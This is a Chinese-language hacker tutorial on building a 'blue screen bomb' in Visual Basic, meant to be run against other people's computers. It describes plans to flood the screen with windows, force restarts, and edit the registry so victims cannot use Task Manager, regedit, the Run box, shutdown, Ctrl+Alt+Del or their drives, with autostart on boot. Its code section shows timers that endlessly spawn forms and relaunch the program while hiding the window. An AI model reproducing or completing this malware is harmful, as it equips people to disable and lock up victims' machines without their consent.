案例教程:黑客教你编写强力蓝屏炸弹

　　新的一年里，我和朋友们都在忙着赶项目，就在我一个不小心写出了一个死循环时，想起了一种很古老的炸弹——蓝屏死机炸弹，于是我就有了写炸弹这个想法，因为我用的是C#.net，把源代码拿过来，大家想调试还要安装.net框架，于是我就想到了用VB来写，那么下面就让我们来进入正题吧。

　　一、炸弹要实现的功能

　　既然是炸弹，那当然要写的厉害些，首先就要像很久以前那个网页炸弹一样，弹出无数个窗口，这个功能是给别人打马虎眼的，让他一心想着去阻止炸弹继续的弹出窗口；第二个功能是专门针对windows XP而做的，当然也是在2004年第12期黑防杂志上看到的---自动重启计算机。

　　那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表，主要的功能还是要禁止中招的人打开任务管理器，禁止使用注册表，隐藏桌面所有图标，禁止使用开始菜单里面的运行，搜索，关机，屏蔽Ctrl+Alt+Del里的内容，禁止使用IE浏览器里的所有属性，屏蔽C盘，D盘等盘，这样的结果看上去一定很可怕，如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行，那后果会是什么样的就可想而知了吧？

　　二、代码实现

　　下面让我们打开VB编译器，在窗体上面加3个timer控件，然后Interval属性设得尽量小点，该属性1000为1秒，我的设成了6，这样在一秒就会谈出上百个窗口了。
实现代码如下：

　　Private Sub Timer1_Timer()
　　Dim a As New Form1    ‘声明以后出现a就是代表Form1
　　a.Show                ‘Form1弹出
　　End Sub
　　Private Sub Timer2_Timer()
　　Shell App.EXEName    ‘运行这个软件的本身
　　End Sub

　　然后隐藏窗体本身，书县代码如下：

　　Private Sub Form_Load()
　　Me.Hide
　　End Sub